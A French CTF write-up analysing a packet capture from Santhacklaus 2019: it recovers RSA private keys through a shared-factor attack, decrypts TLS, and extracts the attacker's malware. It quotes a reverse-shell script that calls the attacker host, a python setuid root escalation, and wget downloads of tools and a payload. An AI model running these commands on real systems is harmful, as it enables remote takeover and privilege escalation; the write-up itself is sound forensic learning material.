Santhacklaus 2019 - Revmomon

Posted on mer. 25 décembre 2019 in CTF

Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.

If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.

Statistiques

Measurement Captured
Packets 185701
Time span, s 653.730
Average pps 284.1
Average packet size, B 165
Bytes 30632502
Average bytes/s 46 k
Average bits/s 374 k

Première analyse

Une première analyse pour permet de voir que la trame contient beaucoup d'informations et d'échanges mais également beaucoup de bruit. Un filtre pour masquer tout ce qui ne nous concerne pas permet de rendre l'ensemble plus clair :

  • Enlever l'échange TCP du début : not tcp.flags == 0x002 && not tcp.flags == 0x014
  • Enlever la partie installation de paquets : not ip.addr == 212.211.132.250 && not ip.addr == 151.101.120.204 && not ip.addr == 130.89.148.77
  • Enlever les erreurs HTTP lors de la reconnaissance : not http.response.code == 404

Ok, on y vois plus clair. En fin de trame, on voit qu'un échange TLSv1.2 est initié. Il serait donc intéressant de réuissir à en déchiffrer son contenu.

TLS et clés privées

On applique un filtre pour ne garder que les échanges TLS et surout, les handshakes. C'est dans ce premier échange fait entre le client et le serveur que la chaine de certificats (qui nous intéresse ici), le cipher à utiliser et d'autes informations techniques sont échangées.

On met notre filtre : tls.handshake.certificate (version améliorée pour préciser de n'afficher que les paquets contenants des certificats).

revmomon1

On a donc deux serveurs qui ont initié une connexion TLS donc possiblement deux certificats à récupérer. Un commande tshark va nous permettre d'extraire tout ça :

$ tshark -r challenge.pcapng -2 -R "tls.handshake.certificate" -T fields -e tls.handshake.certificate | sort -u | uniq  
30820234308201b9a0030201020210669bc735e2efa66d73c3f6abcf7839d5300a06082a8648ce3d040303300b31093007060355040a1300301e170d3139303632383138353934365a170d3232303632373138353934365a300b31093007060355040a130030820122300d06092a864886f70d01010105000382010f003082010a0282010100ecdc7092ac7759ca662b69a88da21f8c9f27036118adfa329d039784af2d046efa217a1e888196811484dd4a4c4e185ca47083f98a412a6c878da613556efff56a43815a148e06d997d2a4136f146a3af4f1e37ad7c19cc453c5934bbd3aadc79982637607647d9c8727e088ce0f99493e5957dc31f0deb86a80b9c8b79ac0bc717d1c204e832fe25eacc7080c7725ea37e6cb725abcd7a045387287ae2d300fe872c0dfad97a81a17fb2219a99fb1fa13e55992a80412991adde1c32bcb02ca04bc2382b6fd9cd67c839dcd132e7c271a3e07c44f7c40fb95f6f71cf4c32228eb94412f90d2373aa5d98a65d280e5fc5b658b9eba5ef5bb1e6cb62832beb1790203010001a3343032300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b06010505070301300b0603551d11040430028200300a06082a8648ce3d0403030369003066023100fda55dcda4b192e2b1438afa7d6f5dc9bb4974cbf3d7ca8c43ab0189ec35f02c111bf22f45a25247d27de6c2e915cb60023100ec992f1062febd7929b17184d3ab42ed3022059190276f29eaa7ca17ad962533891a845b7df5bdbb1fa95ed13bd33edb
308203933082027ba00302010202147687e8f8299f8e13e23e4187ba389f139329e24d300d06092a864886f70d01010b05003059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c6167301e170d3139313032393233333631385a170d3238303131353233333631385a3059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c616730820122300d06092a864886f70d01010105000382010f003082010a0282010100f24eac4339289aa0a378e3c9d7489d630e4afc427f72b2c259c299cbbf61c8e8880076e73f789cadf783f12eea9dbe87c0cc8abeebb5acb90004ff115150a50e57f230a71930ef29f24823fb1b3cd85ccc241789884b2a486eadffcce9dbafd6d68aad196a5d7ab6da3b47998f4dc4c6eca879d6cd8207ee602a9eec007d581f3f07ba774c48f09cd13b6d17384412f92a1ab3076a6562bacd0ea868af98e8fd10600c6767406304a34f80f2864f1b39aae1dfa51364f10381425ca070d8ce82f8f766c2492d2b5645dbac3f324d2010ee43561d0c80f92e9841627d39aaf50829532f2a922fe3f32237db432617a5907abe2ab601697661705106fa2af2a7490203010001a3533051301d0603551d0e0416041403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075301f0603551d2304183016801403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075300f0603551d130101ff040530030101ff300d06092a864886f70d01010b05000382010100e1dbc5647cb3ef9bfa4e12e2412f3d81e943eddb350b3a938916b33e2c88ce5b8196633e52d9054a6eee5b47309c559167147426f8b2a34beebcd0e72bdcadbe9e73787635446200e45c67d0912d2c4004fa89bfe2bed7b0bf6739c0b6101129115275b10415d961f64eefd63bec93c143f88387125b3decdffff45bbf277f397bb3dbabe35b0c63e49ff5f7ab7c4551a03aec077bb699970cfebff9f7eb85ab7a13532f390a6a14fcac7e817648ac1b578d41448fa2b4bf1d6351573a49124f827d7638af621f0cb1679ad1f4fde6989aa2151cdec8e89eff04a92c3995d0a744e0de716a9d1f551e8f4d2c8290d53d6b8f2f354610e701bdce1846d607f6d5
3082039930820281a003020102021463d19310c368e05d63329abac451f4914f34da11300d06092a864886f70d01010b0500305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a42726578697420465457301e170d3139313032393230313830315a170d3238303131353230313830315a305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a4272657869742046545730820122300d06092a864886f70d01010105000382010f003082010a0282010100eaa1f50f799c7b8a48e346834c51c79d4f08f38394ecd091dca0f8a530ac92dcace9cb6139d67862747a6b7481204026a6af29ff7288f5f9903b8dc9263f8de2f58482c03c4b917709066d6caaf620bac25fc0576a989cbd81475d6979ebbc5619ea64aa3745040a82f0d76913de598590e9c334608f40c825105a289f5139d29ea3c6d86ad5d109d9bff90f42c3cadd927650b67261f09734eb551674469147914835066d3660e4c337a10d80fe7a567dce6357a11ac1fb061036ea074d5ba7062842173fd651ca2a708b4f4a885e5868b2f8e93807441c04210b855b394694a3a7a0bfd3297ed26c773fed7be3726c2949a7bb57c060a8b7a07006e2c818150203010001a3533051301d0603551d0e04160414762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17301f0603551d23041830168014762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010001b9aee723c3b195a63bddcd6bc511b2383298467b231f3413b485d91be1bc1a9123bc222711b96c6ff7f45ce64288724b8eed1bdd00e7898940d610de82bc498db2fc11b3077f5c909c05ae651eb4279523ef1e457a67320539de71eec6a5b97932801b27cfb85544254cca8272644fc6e4736d79895e34d351d7aa537186230adecbae1c03ceab13df3991420b3349551f7c535b9ef0f62c07b713d072d42200bef377ee2caba61614e4fd9fdd6c2c613579ff08e99d2a5fd5707ca4aded732a12e211e9b5d382295f02ead6df2cec77b4b1e02cf7e67ef584fbb7c68334fd305bd46d63bb50ce265d5cf83e21b7c243e629b659d76c0b913357fb359c3529

On obtient ainsi des certificats au format héxadécimal. On les converti au format binaire avec la commande xxd -r -p.

On obtient ainsi trois certificats :

  • Subject: C = FR, ST = France, L = Paris, O = Prime Minister, OU = Brexit FTW
  • Subject: C = RU, ST = Russie, L = Moscow, O = Prime minister, OU = Goulag
  • Subject: O =

On peut éliminer le troisième qui ne contient aucune information utile pour nous.

Afin de pouvoir déchiffrer le flux TLS, il nous faut retrouver les clés privées associées à ces deux certificats. Déjà utilisé lors d'autres CTF, l'outil RsaCtfTool convient très bien pour faire ce travail. On le lance donc sur le premier certificat :

Hum, Rien trouvé. On le lance sur le second mais sans résultats non plus. En regardant la documentation, on voit que l'on peut lui donner plusieurs certificats publiques en même temps : public key file. You can use wildcards for multiple keys..

On relance donc la commande avec les deux certificats en même temps et la réponse se fait quasiment instantanément :

python RsaCtfTool.py --publickey 'certs/*.pem' --private --verbose
[*] Multikey mode using keys: ['certs/2.pem', 'certs/1.pem']
[*] Found common factor in modulus for certs/2.pem and certs/1.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA8k6sQzkomqCjeOPJ10idYw5K/EJ/crLCWcKZy79hyOiIAHbn
P3icrfeD8S7qnb6HwMyKvuu1rLkABP8RUVClDlfyMKcZMO8p8kgj+xs82FzMJBeJ
iEsqSG6t/8zp26/W1oqtGWpderbaO0eZj03ExuyoedbNggfuYCqe7AB9WB8/B7p3
TEjwnNE7bRc4RBL5KhqzB2plYrrNDqhor5jo/RBgDGdnQGMEo0+A8oZPGzmq4d+l
E2TxA4FCXKBw2M6C+PdmwkktK1ZF26w/Mk0gEO5DVh0MgPkumEFifTmq9QgpUy8q
ki/j8yI320MmF6WQer4qtgFpdmFwUQb6KvKnSQIDAQABAoIBAHp/Y38oqmphw8Me
BbCcuVSWqToWtC/cR3zxcKccvebAB+GUOxxPcYZRl5aazWmqJR9HSO10ZIhJjsT3
3l1pk8hIldwa3hVrE5208tvDzWLkpx+n9pO8zEeKDNVBVwkFQGt9+DzdFR0wy+sk
K3HTMyQOCK5v9b1DHTPo2CcfqD6fsXW1cG3VfqlvT+iXyp9Z8hreA78MTEnfSzVW
g/UMUn1Y/ZjiO7l34JBm2Q0aiHBiRdBIatTDDw9uATrY491Ut/bRCWo9++iC7Kz0
t5jH28YynQp7upq2ZaLtb3QA/aggEdTN+jWs/EZSmdSY1JN2zUrPkJ81FR3vw+/z
paUe27ECgYEA9Qgo401V7TQhlP0XNKsWFuH6GwmZKEBBtXBF9nk26CbTZ+Er6SS0
tm3zYqUH+VkdnO+c//S/FmG/eSi3e4kB5dGsskzGzjjJzbtACenn1SRBUo0TfCZy
T6DMWXMDRvuOJEWYa8jCJ040qCSIbGYg9WoJ6+jn9jwtpIbZkqLS9pMCgYEA/SdK
0PMQ9UMOtW2PjPwCKF8uymRdh4KgfWufWmrsCTsHYqinKrF9FhxUeSNHN2qPmPnI
yW0LIvcVAzVA5c9weJgvqOfOigsBQaOcW0FqO8OswtGPyH3//dUIyB/vuZu5LYi4
93ECyON95PXpubDvgY4GJwM0Lo9vpdaqt/nTWDMCgYBLWUQBidGHjMVa5G0TZBz5
0mmvkMcJKqFKIwlQnru0rePKiOKQ4hm0E6GJTwhhs/a4QLK9vsxYHJzdrBioI1xz
CIQbnCJyXeIoopExuzzwPSLdOMaqIcR7Gg5c31I9rLNsEf6p/mU94v2sSvespccy
0HXWlptmC+FZO6KCRhGrgwKBgBQETVgkQA0Ell8mIJmnO4xxqkN6mCKk44fHQLxn
g+5e6oCUkVNA4YEkEFHbxj/Nfzk7VvMGWkEThGfSiCUjt+LxNaOHYL9ti1XjV/On
Qn0jRb/JzjKuM9WgSKd6TvxAIe5Fx0pZdzznMAcwoqB6KxX1Yusmx7N+x/c2+By/
9kQdAoGAYxsY9EhchdDsUy5f2DrsQIeCQJueLexVVxebo4rpgb7NCybqqI55qbjd
2CMdY+8Fw74L2zxwgFDgngrIHsjIMqUNp64pgp+4qqjN+ix0ue86ZTlnaqgK3uaw
DDlBMgDIvOc+FYcy1aeqpCQHi8R1EIjlqZGvlV8wTwv9dJ+N/ug=
-----END RSA PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6qH1D3mce4pI40aDTFHHnU8I84OU7NCR3KD4pTCsktys6cth
OdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N4vWEgsA8S5F3CQZtbKr2ILrCX8BX
apicvYFHXWl567xWGepkqjdFBAqC8NdpE95ZhZDpwzRgj0DIJRBaKJ9ROdKeo8bY
atXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaRR5FINQZtNmDkwzehDYD+elZ9zmNX
oRrB+wYQNuoHTVunBihCFz/WUcoqcItPSoheWGiy+Ok4B0QcBCELhVs5RpSjp6C/
0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgYFQIDAQABAoIBAGmSVeGQpogvwHwC
zjEY2ug9F5n6KpgjgH31L+uj6wJpqKPJjwWnKqOiJTMUSMVqF/oH9q2pq1aB5BPn
yAodrongTq9GL9sQqK625aVvhy9S2QKcWLjt0hiygpnVS7Z2F4exn3m3RKZ81E3p
nq4B7eXbPlNGzeunCmci5G5CwRlyfsGxNlpFy6pcdytGwCt9+WRS36Yrc8jZQm8x
qiyA93pTAYBt3Hb0/edpKj6e9dbGIi3YMPpL0TpF63+629uSpP1mW9A2IMVP+I8N
nBIwxpazruhla/TOOF8nlUTiLtZc5fSnNCgprMXFYmBlB+DCVarS+VD2mqx+ugzm
DxUtekECgYEA9Qgo401V7TQhlP0XNKsWFuH6GwmZKEBBtXBF9nk26CbTZ+Er6SS0
tm3zYqUH+VkdnO+c//S/FmG/eSi3e4kB5dGsskzGzjjJzbtACenn1SRBUo0TfCZy
T6DMWXMDRvuOJEWYa8jCJ040qCSIbGYg9WoJ6+jn9jwtpIbZkqLS9pMCgYEA9SKh
xuY/zb9sl0MbGTB5j4ZKcpNVLh9YCgiRDsXDpUeLNmsOWqJCS0Gep+hSyGEDmbeD
ijZ02c0GXccpjjYgPltqiREE5j6jUKHLPm8ZuQ+Ia/v6yJGOUMlJZ+14I86+TKtm
AxCsVZOeHEmV4gSFos3l063n1ywtgmZmkS7m97cCgYBLWUQBidGHjMVa5G0TZBz5
0mmvkMcJKqFKIwlQnru0rePKiOKQ4hm0E6GJTwhhs/a4QLK9vsxYHJzdrBioI1xz
CIQbnCJyXeIoopExuzzwPSLdOMaqIcR7Gg5c31I9rLNsEf6p/mU94v2sSvespccy
0HXWlptmC+FZO6KCRhGrgwKBgF3QMCuHiJl8Ddnhs6gzNgJoeWtZ2Tp6gl3so18M
7m/9bliYJfknqclVRpupvKy0/ATDB5NIffWwkiQniU7Ehhh3MdFc8wwOor/D+51c
NXLub94ro/FISze9oNsmNVk20PtUiQjZQ6rIgLUAsFy8MEx7Ed6t6lEdthj2iYA8
e+YHAoGBALUVvWU6bh85o86amHzSK8tuHrEXthrzHn6xDwrKNpFFNqL6lepCVKx0
pH7Ul9V489IRNsOHtKyHewJXyJAsRJrP6c7veE49kjBrIkXHjCf8zhuiqtPdpE1V
LIXge+kDK5K/FLJN+jtrapJ1DHtuAwsrxD8e4/aB6eGiSsSFMRXU
-----END RSA PRIVATE KEY-----

Bingo ! On a donc, dans l'ordre, la clé pour le second certificat et le premier. On peut facilement valdier l'ensemble en vérifier le modulus de chacun :

$ openssl x509 -inform der -in 2.pem -modulus --noout
Modulus=F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
$ openssl rsa -in 2.key -modulus --noout            
Modulus=F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749

On peut donc utiliser nos deux clés ainsi obtenues dans Wireshark pour décoder l'ensemble des échanges TLS.

Analyse TLS

On peut maintenant voir le contenu des requêtes en clair.

La première a apparaitre est la suivant (tcp.stream eq 85667) :

GET /a.sh HTTP/1.1
Host: 172.17.0.1
User-Agent: curl/7.64.0
Accept: */*

Il s'agit d'un script bash permettant l'ouverture d'un reverse shell chiffré sur la machine cible :

#!/bin/sh

IP_ATTACKER="172.17.0.1"
OPENSSL_PATH=$(which openssl)

wget --no-check-certificate https://${IP_ATTACKER}:443/cert2.crt -O /dev/shm/cert.pem

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ${OPENSSL_PATH} s_client -quiet -CAfile /dev/shm/cert.pem -verify_return_error -verify 1 -connect ${IP_ATTACKER}:8443 > /tmp/s; rm /tmp/s

La deuxième requête (tcp.stream eq 85669) correspond à l'ensemble des actions faites par l'attaquant au travers du reverse shell créé juste avant :

Il y récupère le script LinEnum.sh (wget --no-check-certificate https://172.17.0.1/LinEnum.sh). Cela lui permet de faire de la reconnaissance sur le système cible. Mais cela ne constitue pas en soit l'attaque recherché pour notre flag.

On poursuit donc les commandes exécutées et on arrive à une partie très intéressante :

www-data@d58feef475e4:/tmp$ /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'

< -c 'import os; os.setuid(0); os.system("/bin/sh")'
root@d58feef475e4:# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@d58feef475e4:# cd /root
root@d58feef475e4:# cd /root
root@d58feef475e4:# ls -la
total 20
drwx------ 1 root root 4096 Nov 20 21:37 .
drwxr-xr-x 1 root root 4096 Nov 20 21:51 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-r-------- 1 root root   28 Nov 20 21:36 flag
root@d58feef475e4:# wc -c flag
28 flag
root@d58feef475e4:# stat flag
  File: flag
  Size: 28          Blocks: 8          IO Block: 4096   regular file
Device: 78h/120d    Inode: 6206622     Links: 1
Access: (0400/-r--------)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-11-20 21:36:58.000000000 +0000
Modify: 2019-11-20 21:36:58.000000000 +0000
Change: 2019-11-20 21:38:07.737200347 +0000
 Birth: -
root@d58feef475e4:# echo -n 'Il y a le flag dans le /root'
Il y a le flag dans le /root# 
root@d58feef475e4:# cd /usr/local/bin
cd /usr/local/bin
[...]
root@d58feef475e4:# ls
apache2-foreground    docker-php-ext-install  peardev    php
docker-php-entrypoint     docker-php-source   pecl       php-config
docker-php-ext-configure  freetype-config     phar       phpdbg
docker-php-ext-enable     pear            phar.phar  phpize
root@d58feef475e4:#  wget --no-check-certificate https://172.17.0.1/DRUNK_IKEBANA -O phar.bak
--2019-11-20 22:03:12--  https://172.17.0.1/DRUNK_IKEBANA
Connecting to 172.17.0.1:443... connected.
WARNING: The certificate of '172.17.0.1' is not trusted.
WARNING: The certificate of '172.17.0.1' doesn't have a known issuer.
The certificate's owner does not match hostname '172.17.0.1'
HTTP request sent, awaiting response... 200 OK
Length: 7634240 (7.3M) [application/octet-stream]
Saving to: 'phar.bak'


phar.bak              0%[                    ]       0  --.-KB/s               
phar.bak            100%[===================>]   7.28M  --.-KB/s    in 0.05s   

2019-11-20 22:03:12 (146 MB/s) - 'phar.bak' saved [7634240/7634240]

[...]
root@d58feef475e4:# ls -la
total 35168
drwxr-xr-x 1 root root         4096 Nov 20 22:03 .
drwxr-xr-x 1 root root         4096 Oct 25 02:29 ..
-rwxrwxr-x 1 root root         1346 Oct 25 02:26 apache2-foreground
[...]
lrwxrwxrwx 1 root root            9 Oct 25 02:29 phar -> phar.phar
-rw-r--r-- 1 root www-data  7634240 Nov 20 22:02 phar.bak
-rwxr-xr-x 1 root root        14817 Oct 25 02:29 phar.phar
[...]
root@d58feef475e4:# chmod +x phar.bak
root@d58feef475e4:# ls -la
[...]
lrwxrwxrwx 1 root root            9 Oct 25 02:29 phar -> phar.phar
-rwxr-xr-x 1 root www-data  7634240 Nov 20 22:02 phar.bak
-rwxr-xr-x 1 root root        14817 Oct 25 02:29 phar.phar
[...]
root@d58feef475e4:# ./phar.bak &

Au travers de la commande python, il arrive à passer en utilisateur root. Cela lui permet de s'échapper de www-data et gagner des privilèges sur l'ensemble du système.

On voit la création d'un fichier flag mais, comme son tenu l'indique, il n'y a rien dedans. Dommage :(. Juste après cela, il se place dans le dossier /usr/bin et en liste le contenu. Et c'est la qu'il récupère le fichier malicieux : phar.bak. Son action est inconnue mais il le lance en tâche de fond via l'opérateur &.

Il faut donc réussir à extraire de la capture Wireshark cet objet.

Export des objets

La commande tshark nous permet l'extraction de l'ensemble des objets HTTP présents dans une capture. Comme un partie est en TLS, il faut lui indiquer la correspondance : adresse IP, protocole, clé privée.

$ tshark -r ../challenge.pcapng  -o "tls.keys_list: 172.17.0.5,443,http,1.key;172.17.0.1,443,http,1.key;172.17.0.1,443,http,2.key;172.17.0.5,443,http,2.key" --export-objects "http,export_http" -Y "http && tcp.stream eq 85672"
184118 544.690600279   172.17.0.5 → 172.17.0.1   HTTP 245 GET /DRUNK_IKEBANA HTTP/1.1  245
185446 544.740615854   172.17.0.1 → 172.17.0.5   HTTP 1324 HTTP/1.0 200 OK  1324

On récupère alors l'ensemble des objets HTTP dans le dossier export_http :

$ ls export_http -al | wc -l
4696
$ ls -lh export_http/DRUNK_IKEBANA
-rw-r--r-- 1 nlegall nlegall 7634240 déc.  26 13:04 export_http/DRUNK_IKEBANA
$ file export_http/DRUNK_IKEBANA                  
export_http/DRUNK_IKEBANA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Parfait ! La taille du fichier extrait correspond à celui télécharger par l'attaquant et semble être bien extrait. Un SHA256 dessus et c'est le flag :

$ sha256sum export_http/DRUNK_IKEBANA | sed -E 's/^(.)/SANTA{\1/' | sed -E 's/  (.*)/}/'
SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}

Merci à Maki pour la création de ce challenge. Il fut très intéressant et instructif :).

PS

Il faut bien mettre HTTP dans le protocole TLS et non TLS. J'avais fait l'erreur et cela m'a coûté 3 heures de temps. J'avais bien les trames de décodés et l'affichage possible des échanges (comme les trois trames indiquées plus haut).

Cependant, il était impossible d'avoir le binaire extrait au complet. Seul les deux premiers ko du fichier était extraits. Une erreur à ne plus faire :p.